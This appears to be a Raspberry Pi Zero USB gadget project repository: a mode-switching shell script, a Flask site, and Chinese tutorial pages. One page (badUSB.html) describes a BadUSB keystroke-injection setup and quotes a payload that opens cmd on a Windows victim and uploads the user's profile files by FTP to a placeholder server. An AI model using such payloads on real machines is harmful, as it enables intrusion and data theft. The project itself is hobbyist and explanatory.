41 | echo 42 | } 43 | 44 | # print description and then run it 45 | function print_run() 46 | { 47 | if [ $# -eq 1 ];then 48 | green_message "$1" 49 | eval "$1" 50 | elif [ $# -eq 2 ];then 51 | green_message "$1" 52 | eval "$2" 53 | else 54 | return 1 55 | fi 56 | } 57 | 58 | function u_disk_mode() 59 | { 60 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 61 | print_run "systemctl disable enable_hid.service" 62 | #print_rnn "echo 'console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_mass_storage' > /boot/cmdline.txt" 63 | print_run 'cmdline=`cat /boot/cmdline.txt|sed "s/modules-load=dwc2[a-z_,]\{0,20\}/modules-load=dwc2,g_mass_storage/g"`; echo "$cmdline" > /boot/cmdline.txt' 64 | } 65 | 66 | function ether_mode() 67 | { 68 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 69 | print_run "systemctl disable enable_hid.service" 70 | #print_run "echo 'console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether' > /boot/cmdline.txt" 71 | print_run 'cmdline=`cat /boot/cmdline.txt|sed "s/modules-load=dwc2[a-z_,]\{0,20\}/modules-load=dwc2,g_ether/g"`; echo "$cmdline" > /boot/cmdline.txt' 72 | 73 | } 74 | 75 | function change_mode() 76 | { 77 | #if cat /proc/cmdline |grep -q g_ether; then 78 | if cat /boot/cmdline.txt |grep -q g_ether; then 79 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 80 | print_run "systemctl disable enable_hid.service" 81 | print_run 'cmdline=`cat /boot/cmdline.txt|sed "s/modules-load=dwc2[a-z_,]\{0,20\}/modules-load=dwc2,g_mass_storage/g"`; echo "$cmdline" > /boot/cmdline.txt' 82 | #print_run "echo 'console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_mass_storage' > /boot/cmdline.txt" 83 | else 84 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 85 | print_run "systemctl disable enable_hid.service" 86 | print_run 'cmdline=`cat /boot/cmdline.txt|sed "s/modules-load=dwc2[a-z_,]\{0,20\}/modules-load=dwc2,g_ether/g"`; echo "$cmdline" > /boot/cmdline.txt' 87 | #print_run "echo 'console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2,g_ether' > /boot/cmdline.txt" 88 | fi 89 | 90 | } 91 | 92 | function flash_u_disk() 93 | { 94 | mode=`cat /proc/cmdline |grep -oE 'modules-load=[0-9a-z,_]+'|cut -d= -f2` 95 | if [ "$mode" != "dwc2,g_mass_storage" ];then 96 | red_message "Current MODE: $mode ,Pls ChangeMode first to dwc2,g_mass_storage!" 97 | return 1 98 | else 99 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 100 | print_run "systemctl disable enable_hid.service" 101 | print_run 'rmmod g_mass_storage;sleep 1' 102 | print_run 'modprobe g_mass_storage file=/home/my_u_disk.bin removable=1 dVendor=0x0781 idProduct=0x5572 bcdDevice=0x011a iManufacturer="SanDisk" iProduct="Cruzer Switch" iSerialNumber="1234567890"' 103 | fi 104 | } 105 | 106 | function getwlancfg_etc2mnt() 107 | { 108 | mount |grep -q "/home/my_u_disk.bin" 109 | if [ $? -ne 0 ] ;then 110 | [ ! -f "/home/my_u_disk.bin" ] && echo "Can't find the file: /home/my_u_disk.bin !" && exit 1 111 | print_run "mount /home/my_u_disk.bin /mnt" 112 | [ $? -ne 0 ] && echo "mount /home/my_u_disk.bin to /mnt failed !" && exit 2 113 | fi 114 | print_run "[ ! -d /mnt/OS_setting ] && mkdir /mnt/OS_setting ; cp /etc/wpa_supplicant/wpa_supplicant.conf /mnt/OS_setting/;sync" 115 | 116 | } 117 | 118 | function getwlancfg_mnt2etc() 119 | { 120 | mount |grep -q "/home/my_u_disk.bin" 121 | if [ $? -ne 0 ] ;then 122 | [ ! -f "/home/my_u_disk.bin" ] && echo "Can't find the file: /home/my_u_disk.bin !" && exit 1 123 | print_run "mount /home/my_u_disk.bin /mnt" 124 | [ $? -ne 0 ] && echo "mount /home/my_u_disk.bin to /mnt failed !" && exit 2 125 | fi 126 | print_run "[ -f /mnt/OS_setting/wpa_supplicant.conf ] && cp /mnt/OS_setting/wpa_supplicant.conf /etc/wpa_supplicant;sync" 127 | 128 | } 129 | 130 | function export_log() 131 | { 132 | mount |grep -q "/home/my_u_disk.bin" 133 | if [ $? -ne 0 ] ;then 134 | [ ! -f "/home/my_u_disk.bin" ] && echo "Can't find the file: /home/my_u_disk.bin !" && exit 1 135 | print_run "mount /home/my_u_disk.bin /mnt" 136 | [ $? -ne 0 ] && echo "mount /home/my_u_disk.bin to /mnt failed !" && exit 2 137 | fi 138 | print_run "[ ! -d /mnt/log ] && mkdir /mnt/log ; cp "$@" /mnt/log;sync" 139 | print_run "[ ! -d /mnt/log ] && mkdir /mnt/log ; cp create_ap_log_* /mnt/log/ 2>/dev/null ;sync" 140 | 141 | } 142 | 143 | function pi_as_keyboard() 144 | { 145 | 146 | if systemctl is-enabled enable_hid.service > /dev/null 2>&1 ;then 147 | print_run "systemctl disable enable_hid.service" 148 | else 149 | echo "keyboard, U disk, ethter Mode are mutual exclusion" 150 | print_run 'cmdline=`cat /boot/cmdline.txt|sed "s/modules-load=dwc2[a-z_,]\{0,20\}/modules-load=dwc2/g"`; echo "$cmdline" > /boot/cmdline.txt' 151 | #print_run "echo 'console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2' > /boot/cmdline.txt" 152 | print_run "systemctl enable enable_hid.service" 153 | fi 154 | 155 | } 156 | 157 | function get_status() 158 | { 159 | echo "IP: `ifconfig wlan0 | awk '/inet / {print $2}'`" 160 | echo "Loadavg: `cat /proc/loadavg`" 161 | echo "Temp: `echo "scale=3;$(cat /sys/class/thermal/thermal_zone0/temp)/1000" | bc`" 162 | echo "Mode: `cat /proc/cmdline |grep -oE 'modules-load=[0-9a-z,_]+'|cut -d= -f2`" 163 | echo "Pi_as_kbd: `systemctl is-enabled enable_hid.service`" 164 | echo "Pi_as_kbd status: `[ -f /tmp/enable_hid.lock ] && echo "running" || echo "stop"` " 165 | 166 | } 167 | 168 | function enable_ap() 169 | { 170 | AP_name="SecretAP" 171 | AP_pwd="12345678" 172 | pid1=`ps aux|grep "create_ap -n wlan0"|grep -v grep` 173 | pid2=`ps aux|grep "iwlan0"|grep -v grep` 174 | if [ ! -z "$pid1" -a -z "$pid2" ];then 175 | green_message "It is AP mode now,skip..." 176 | return 0 177 | fi 178 | kill "$(ps aux|grep "iwlan0"|head -1|awk '{print $2}')" > /dev/null 2>&1 179 | DATE=`date +"%Y%m%d%H%M%S"` 180 | print_run "nohup create_ap -n wlan0 $AP_name $AP_pwd > /tmp/create_ap_log_${DATE}.log 2>&1 &" 181 | } 182 | 183 | function badusb_example() 184 | { 185 | if [ ! -f /tmp/enable_hid.lock ];then 186 | red_message "Have you enabled Keyboard Mode and reboot?" 187 | return 1 188 | else 189 | cd $whereami/keyboard 190 | ./read_input.sh -f write_warning.cmd2run 191 | fi 192 | 193 | } 194 | 195 | case $1 in 196 | 197 | Get_Status) 198 | get_status 199 | ;; 200 | 201 | ChangeMode) 202 | change_mode 203 | yellow_message "Restart and take effect" 204 | ;; 205 | 206 | U-DiskMode) 207 | u_disk_mode 208 | yellow_message "Restart and take effect" 209 | ;; 210 | 211 | EtherMode) 212 | ether_mode 213 | yellow_message "Restart and take effect" 214 | ;; 215 | 216 | Flash_U_Disk) 217 | flash_u_disk 218 | ;; 219 | 220 | Re-GetIP) 221 | pid2=`ps aux|grep "iwlan0"|grep -v grep` 222 | # if -z pid2 , current mode maybe AP mode,so ,can't release ip in AP mode 223 | [ ! -z "$pid2" ] && print_run "dhclient -r wlan0;dhclient;ifconfig wlan0 | awk '/inet / {print \$2}'" 224 | print_run "ifconfig|grep 'inet '|awk '{print \$2}'" 225 | ;; 226 | 227 | CatCmdline) 228 | green_message "config file: " 229 | print_run "cat /boot/cmdline.txt" 230 | green_message "current file: " 231 | print_run "cat /proc/cmdline" 232 | ;; 233 | 234 | CatWlanCfg) 235 | print_run "cat /etc/wpa_supplicant/wpa_supplicant.conf" 236 | ;; 237 | 238 | GetWlanCfg_mnt2etc) 239 | getwlancfg_mnt2etc 240 | #print_run "cp /etc/wpa_supplicant/wpa_supplicant.conf /boot;sync" 241 | yellow_message "Restart and take effect" 242 | ;; 243 | 244 | GetWlanCfg_etc2boot) 245 | print_run "cp /etc/wpa_supplicant/wpa_supplicant.conf /boot;sync" 246 | yellow_message "Restart and take effect" 247 | ;; 248 | 249 | GetWlanCfg_etc2mnt) 250 | getwlancfg_etc2mnt 251 | ;; 252 | 253 | Export_log) 254 | shift 255 | export_log "$@" 256 | ;; 257 | 258 | BadUSB_Example) 259 | badusb_example 260 | ;; 261 | 262 | PI-as-keyboard) 263 | pi_as_keyboard 264 | yellow_message "Restart and take effect" 265 | ;; 266 | 267 | EnableAP) 268 | enable_ap 269 | ;; 270 | 271 | *) 272 | red_message "Can't find function: $1" 273 | ;; 274 | esac 275 | -------------------------------------------------------------------------------- /html/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/.DS_Store -------------------------------------------------------------------------------- /html/__pycache__/app.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/__pycache__/app.cpython-37.pyc -------------------------------------------------------------------------------- /html/__pycache__/run_server.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/__pycache__/run_server.cpython-37.pyc -------------------------------------------------------------------------------- /html/run_server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask,render_template 2 | app = Flask(__name__) 3 | 4 | @app.route('/') 5 | def index(): 6 | return render_template('index.html') 7 | 8 | @app.route('/os_install') 9 | def os_install(): 10 | return render_template('os_install.html') 11 | 12 | @app.route('/display_button') 13 | def display_button(): 14 | return render_template('display_button.html') 15 | 16 | @app.route('/usb_ether') 17 | def usb_ether(): 18 | return render_template('usb_ether.html') 19 | 20 | @app.route('/badUSB') 21 | def badUSB(): 22 | return render_template('badUSB.html') 23 | 24 | @app.route('/wireless_AP') 25 | def wireless_AP(): 26 | return render_template('wireless_AP.html') 27 | 28 | @app.route('/web') 29 | def web(): 30 | return render_template('web.html') 31 | -------------------------------------------------------------------------------- /html/static/1.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/1.mp4 -------------------------------------------------------------------------------- /html/static/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/1.png -------------------------------------------------------------------------------- /html/static/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/10.jpg -------------------------------------------------------------------------------- /html/static/11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/11.jpg -------------------------------------------------------------------------------- /html/static/12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/12.jpg -------------------------------------------------------------------------------- /html/static/13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/13.png -------------------------------------------------------------------------------- /html/static/14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/14.jpg -------------------------------------------------------------------------------- /html/static/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/2.jpg -------------------------------------------------------------------------------- /html/static/2.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/2.mp4 -------------------------------------------------------------------------------- /html/static/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/3.png -------------------------------------------------------------------------------- /html/static/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/4.png -------------------------------------------------------------------------------- /html/static/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/5.png -------------------------------------------------------------------------------- /html/static/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/6.png -------------------------------------------------------------------------------- /html/static/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/7.png -------------------------------------------------------------------------------- /html/static/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/8.png -------------------------------------------------------------------------------- /html/static/9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/9.jpg -------------------------------------------------------------------------------- /html/static/hut1_12v2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/static/hut1_12v2.pdf -------------------------------------------------------------------------------- /html/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | width: 100%; 3 | margin: 0px; 4 | padding: 0px; 5 | background: rgb(81, 154, 178); 6 | } 7 | 8 | #export_content { 9 | margin: 40px 20%; 10 | padding: 20px; 11 | border: 1px solid rgb(149, 155, 111); 12 | background: rgb(255, 255, 255); 13 | } -------------------------------------------------------------------------------- /html/templates/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/html/templates/.DS_Store -------------------------------------------------------------------------------- /html/templates/badUSB.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block tittle %} 3 | BadUSB模式 4 | {% endblock %} 5 | {% block body %} 6 |
7 |
8 |

BadUSB模式

9 |

Github

10 |

https://github.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device

11 |

Badusb介绍

12 |
13 |

BadUSB is a dangerous USB security flaw that allows attackers to turn a simple USB device into a keyboard, 14 | which can then be used to type malicious commands into the victim's computer.

15 |
16 |

钢铁侠11:31:09 处有关于Badusb的演示。。。

17 |

方案选择

18 |
    19 |
  1. 在树莓派Zero上已经有比较完整的实现Badusb方案:P4wnP1
  2. 20 |
21 |
22 |

P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi 23 | Zero W (required for HID backdoor).

24 |
25 |

该方案不支持最新的debian10,而且由于其集成了很多功能,与目前多功能USB其他部分设置存在冲突,故舍弃。

26 |
    27 |
  1. 在寻求其他方案过程中发现另一个开源工具: hardpass-passwordmanager(A Raspberry Pi Zero based WiFi Enabled 28 | Hardware Password Manager, now with a PCB),这个硬件密码管理器实现了 29 | 虚拟ID键盘HID键盘输入解析,这部分正好可以给Badusb使用。剩下的部分就是编写Payload解释器脚本
  2. 30 |
31 |
32 |

Payload在本文可以简单理解为实现Badusb单个功能(如Windows解锁,调用cmd窗口运行命令)的流程脚本。

33 |
34 |

实现

35 |

本文采用第二种方案。该实现需要三部分:模拟HID键盘, Payload解释器和内容输入

36 |

模拟HID键盘

37 |
    38 |
  1. 初始环境设置
  2. 39 |
40 |
1# Enable dwc2 on the Pi
2echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt
3
4# Enable dwc2 initialisation
5echo "dwc2" | sudo tee -a /etc/modules
6echo "libcomposite" | sudo tee -a /etc/modules
41 |
    42 |
  1. 实际应用中,已将以下脚本注册成服务,需要时enable对应服务并重启即可。
  2. 43 |
44 |
 1#!/bin/bash
2

3# Initial Setup
4modprobe libcomposite
5cd /sys/kernel/config/usb_gadget/
6mkdir -p g1
7cd g1
8
9# Device description
10echo 0x1d6b > idVendor # Linux Foundation
11echo 0x0104 > idProduct # Multifunction Composite Gadget
12echo 0x0100 > bcdDevice # v1.0.0
13echo 0x0200 > bcdUSB # USB2
14
15mkdir -p strings/0x409
16echo "abcdef1234567890" > strings/0x409/serialnumber
17echo "Pedro Qin" > strings/0x409/manufacturer
18echo "raspberry USB device" > strings/0x409/product
19
20# Define a Keyboard
21mkdir -p functions/hid.usb0
22echo 1 > functions/hid.usb0/protocol
23echo 1 > functions/hid.usb0/subclass
24echo 8 > functions/hid.usb0/report_length
25echo -ne \\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0 > functions/hid.usb0/report_desc
26mkdir -p configs/c.1/strings/0x409
27ln -s functions/hid.usb0 configs/c.1/
28
29echo "Config 1: Keyboard" > configs/c.1/strings/0x409/configuration
30echo 250 > configs/c.1/MaxPower
31ls /sys/class/udc > UDC
32# for status check
33touch /tmp/enable_hid.lock
45 |
    46 |
  1. 实现效果如下: 47 | 48 |
49 |

模拟Payload解释器

50 |

以下是一个叫Payload ftp download upload的Payload:

51 |
 1GUI r
2DELAY 200
3STRING cmd
4ENTER
5DELAY 600
6STRING cd %USERPROFILE%
7ENTER
8STRING ftp -i SERVER
9ENTER
10DELAY 800
11STRING USERNAME
12ENTER
13STRING PASSWORD
14ENTER
15STRING GET WinSCP.com
16ENTER
17DELAY 200
18STRING GET WinSCP.exe
19ENTER
20DELAY 3000
21STRING quit
22ENTER
23REM FTP user only needs write access.
24STRING WinSCP.com /command "option batch abort" "option confirm off" "open ftp://USERNAME2:PASSWORD2@SERVER2" "put *.*" "close" "exit"
25ENTER
26ALT SPACE
27STRING N
52 |

根据此Payload 脚本,可简单模拟解释器,主要逻辑如下:

53 |
 1    ......
2    echo "$@" | while read line;do
3        case ${line:0:3} in
4            # ctrl
5            CON)
6            prefix="\x1"
7            press_one_key "$prefix" "${line#* }"
8            ;;
9            # alt
10            ALT)
11            prefix="\x4"
12            press_one_key "$prefix" "${line#* }"
13            ;;
14            # shift
15            SHI)
16            prefix="\x2"
17            press_one_key "$prefix" "${line#* }"
18            ;;
19            # windows
20            GUI)
21            prefix="\x08"
22            press_one_key "$prefix" "${line#* }"
23            ;;
24            # comments
25            REM)
26            continue
27            ;;
28            # input str
29            STR)
30            input_string "${line#* }"
31            ;;
32            # enter
33            ENT)
34            press_enter
35            ;;
36            # delay
37            DEL)
38            sleep "${line#* }"
39            ;;
40            EXI)
41            return
42            ;;
43            *)
44            input_string "${line}"
45            ;;
46        esac
47    done
48    ......
54 |

内容输入

55 |

HID键盘协议:ID Usage Tables 1.1210 Keyboard/Keypad Page (0x07)

56 |

实现字符串输入需要将目标内容解析成HID keycode,然后由HID键盘转回目标内容。

57 |

具体有以下两种方案,在实际测试时,需两种方案结合,scan完成符串输入和脚本实现控制字串(如ctrl r等)输入

58 |
1. 脚本实现
59 |

USB键盘数据包含8个字节:

60 |
 1BYTE1 -- 特殊按键
2 |--bit0: Left Control  是否按下,按下为1
3 |--bit1: Left Shift    是否按下,按下为1
4 |--bit2: Left Alt      是否按下,按下为1
5 |--bit3: Left GUI(Windows键) 是否按下,按下为1
6 |--bit4: Right Control 是否按下,按下为1
7 |--bit5: Right Shift   是否按下,按下为1
8 |--bit6: Right Alt     是否按下,按下为1
9 |--bit7: Right GUI     是否按下,按下为1
10
11BYTE2 -- 0
12
13BYTE3-BYTE8 当前按下的普通按键键值,最多六个按键
61 |

每次输入完后需输入8个0字节结束输入。
示例,输入“A”:

62 |
1echo -ne "\x2\0\x04\0\0\0\0\0" > /dev/hidg0
2sleep 0.1
3echo -ne "\0\0\0\0\0\0\0\0" > /dev/hidg0
63 |

依此逻辑可以完成键盘模拟输入。但需要注意输入时增加延时。

64 |

缺点:效率低,有部分字母显示不正常

65 |
2. 引用hardpass-passwordmanager内工具
66 |
 1root@raspberrypi:/tmp# git clone https://github.com/girst/hardpass-passwordmanager
2Cloning into 'hardpass-passwordmanager'...
3remote: Enumerating objects: 446, done.
4remote: Total 446 (delta 0), reused 0 (delta 0), pack-reused 446
5Receiving objects: 100% (446/446), 2.00 MiB | 66.00 KiB/s, done.
6Resolving deltas: 100% (263/263), done.
7Checking out files: 100% (165/165), done.
8root@raspberrypi:/tmp# cd hardpass-passwordmanager/send_hid/
9root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid# ls
10LICENSE  Makefile  README.md  hardpass-demo.sh  main.c  scan  scancodes.c  scancodes.h
11root@raspberrypi:/tmp/hardpass-passwordmanager/send_hid# make
12gcc -std=c99 -Wall -Werror main.c scancodes.c -o scan
67 |

编译生成的scan工具可以完成字符串的输入
缺点:只能实现字符串输入,无法实现控制字符串如GUI r等操作(可通过改源码实现)

68 |

演示

69 |

视频中演示了payload脚本模式和与AP模式结合时远程控制

70 | 73 |

附录

74 |

Payload

75 |
76 |

Well, a payload can be considered to be somewhat similar to a virus. A payload is a set of malicious codes 77 | that carry crucial information that can be used to hack any device beyond limits that you can't imagine. … 78 | Generally, a payload refers to a set of codes which a hacker designs according to his/her requirements.

79 |
80 |

参考链接

81 |

what is payload in hacking(https://www.cybrary.it/0p3n/payload-the-hacking-beyond-imagination/) 82 |
Payloads(https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads) 83 |
hardpass-passwordmanager(https://github.com/girst/hardpass-passwordmanager) 84 |
pi-as-keyboard(https://github.com/c4software/pi-as-keyboard)
HID Usage Tables 85 | 1.12(https://usb.org/sites/default/files/documents/hut1_12v2.pdf)

86 |
87 |
88 | {% endblock %} 89 | -------------------------------------------------------------------------------- /html/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block tittle %} 3 | RaspberryPi-based-multi-functional-USB-Device 4 | {% endblock %} 5 | {% block body %} 6 |
7 |
8 |
9 |

基于RaspberryPi Zero + Zero Key + 扩展板ST7789 实现多功能U盘

10 |
11 |

功能简介

12 |

单功能实现

13 | 22 |

组合功能

23 | 29 |

菜单详情

30 |
    31 |
  1. Get Status 获取当前树莓派状态,如IP,温度,服务状态等
  2. 32 |
  3. U Disk Mode U盘模式
  4. 33 |
  5. Ether Mode 网卡模式
  6. 34 |
  7. AP Mode AP模式
  8. 35 |
  9. Keyboard Mode 键盘模式
  10. 36 |
  11. Flash U Disk 刷新映射出去的U盘的文件内容
  12. 37 |
  13. Re-GetIP 重新获取IP或查看IP
  14. 38 |
  15. Cat Cmdline 查看cmdline配置信息
  16. 39 |
  17. Cat WlanCfg 查看Wlan配置文件
  18. 40 |
  19. Export Log 导出log到mnt下,切换为U盘模式后可导出
  20. 41 |
  21. REBOOT 重启
  22. 42 |
  23. POWEROFF 关机
  24. 43 |
  25. EXIT 退出
  26. 44 |
45 |

文章列表

46 |
    47 |
  1. 系统安装
  2. 48 |
  3. 显示屏和按键交互菜单
  4. 49 |
  5. U盘模式和网卡模式
  6. 50 |
  7. BadUSB模式
  8. 51 |
  9. 无线AP模式
  10. 52 |
  11. Web界面实现
  12. 53 |
54 | 55 |
56 |
57 | {% endblock %} 58 | -------------------------------------------------------------------------------- /html/templates/layout.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {% block tittle %} 8 | RaspberryPi-based-multi-functional-USB-Device 9 | {% endblock %} 10 | 11 | 12 | 13 | 14 | {% block body %} 15 | {% endblock %} 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /html/templates/os_install.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block tittle %} 3 | 系统安装 4 | {% endblock %} 5 | {% block body %} 6 |
7 |
8 |

系统安装

9 |
10 |

前些天逛X宝时偶尔看到树莓派Zero w,由于之前的树莓派3b已当礼物送给XXX当便携学习环境(就是这么没情调,咋的?不满意吗?我家里还有个2U dell 11 | 710,要不要?),手头没有一个写shell脚本的环境,十分不便,正好入手一个。后续了解到树莓派Zero的更多优点,萌生了做个多功能USB的想法

12 |
13 |

树莓派Zero的优势

14 |

树莓派zero w参数如下:

15 | 31 |

优势:保证功能健全的同时体积不到传统Raspberry Pi尺寸的一半。但是最主要的优势是:

32 |
33 |

that USB port is not a standard type A port, instead it is a 'USB On-The-Go' port

34 |
35 |

一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是 Device,比如键盘鼠标优盘。其他树莓派的USB port都只支持作为 Host,而树莓派 Zero 和 Zero 36 | w 同时支持作为 Host 和 Device,这为树莓派做Bad USB提供了前提

37 |

材料购买和组装

38 |

由于要做多功能USB,要做模式切换就需要交互界面,故购买如下设备,Zero KEY 套餐可以提供一个便携免焊接的USB口,更符合多功能USB的特点
(注:由于有囤SD卡,故此处选择了无卡套餐,能省则省!) 39 | 40 |
组装完成后如下

41 | 42 |

系统下载和烧录

43 |

下载系统:https://www.raspberrypi.org/downloads/ 44 | 45 |
解压,使用win32diskImager烧录到SD卡(win32diskImager可读取可写入,方便后续备份系统)

46 | 47 |

开机准备

48 |

此步主要是为了在没有Mini-HDMI转接头连接显示器时ssh连接树莓派,,首推Plan A
默认用户名:pi
密码:raspberry

49 |

Plan A

50 |
    51 |
  1. 烧录完成后,在电脑上插入这个 SD
  2. 52 |
  3. 在 SD 卡根目录下面创建一个名为ssh的文件或目录。
  4. 53 |
  5. 在 SD 卡根目录下面创建一个名为wpa_supplicant.conf的文件,内容如下
  6. 54 |
55 |
1ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
2update_config=1
3country=CN
4network={
5    ssid="WIFI name"
6    psk="WIFI passwd"
7    priority=1
8    id_str="test"
9}
56 |
    57 |
  1. 把SD卡插到树莓派Zero 上。将组装好的树莓派Zero w上电。
  2. 58 |
  3. 通过路由器查看名字为 “raspberrypi” 的ip 地址,通过 SSH 终端(如 PuTTY)连接。
  4. 59 |
60 |

Plan B

61 |

1、烧录完成后,在电脑上插入这个 SD 卡,在根目录下面的config.txt文件的末尾添加一行

62 |
1dtoverlay=dwc2
63 |

2、打开 cmdline.txt 在 rootwait 后面添加如下内容

64 |
1modules-load=dwc2,g_ether
65 |

3、在 SD 卡根目录下面创建一个名为ssh的文件或目录。
4、把SD卡插到树莓派Zero 上。将组装好的树莓派Zero w到电脑上。这时你就可以通过 SSH 终端(如 66 | PuTTY)连接到raspberrypi.local 了。如果这个不能通过这个主机名连接,那么你可能需要给 Windows 系统的电脑上安装 Bonjour、iTunes 或 Quicktime;给 67 | Linux 系统安装 Avahi Daemon 以确保可以通过主机名 “raspberrypi.local” 连接到树莓派 Zero。

68 |

后续文章完成内容:

69 | 76 |

参考链接

77 |

https://blog.csdn.net/yaoyutian/article/details/78811681
https://shumeipai.nxez.com/rpi-zero-quick-plug

78 |
79 |
80 | {% endblock %} 81 | -------------------------------------------------------------------------------- /html/templates/usb_ether.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block tittle %} 3 | U盘模式和网卡模式 4 | {% endblock %} 5 | {% block body %} 6 |
7 |
8 |

U盘模式和网卡模式

9 |

实现原理

10 |

一般来说,USB 设备有两种,一种是 Host,比如电脑,可以去读取其他 USB 设备的数据,另外一种是 11 | Device,比如键盘鼠标优盘智能手机。而OTG(文末附录what is OTG)实现了设备在host 和 12 | slave(peripheral)间转换。例如支持OTG功能的智能手机可以作为host读取优盘内容。

13 |

在树莓派系统/boot/overlays/README中,关于 USB controller driver的描述如下(文末附录关于dwc_otg与dwc2的区别): 14 |

15 |
 1Name:   dwc-otg
2Info:   Selects the dwc_otg USB controller driver which has fiq support. This 
3        is the default on all except the Pi Zero which defaults to dwc2.
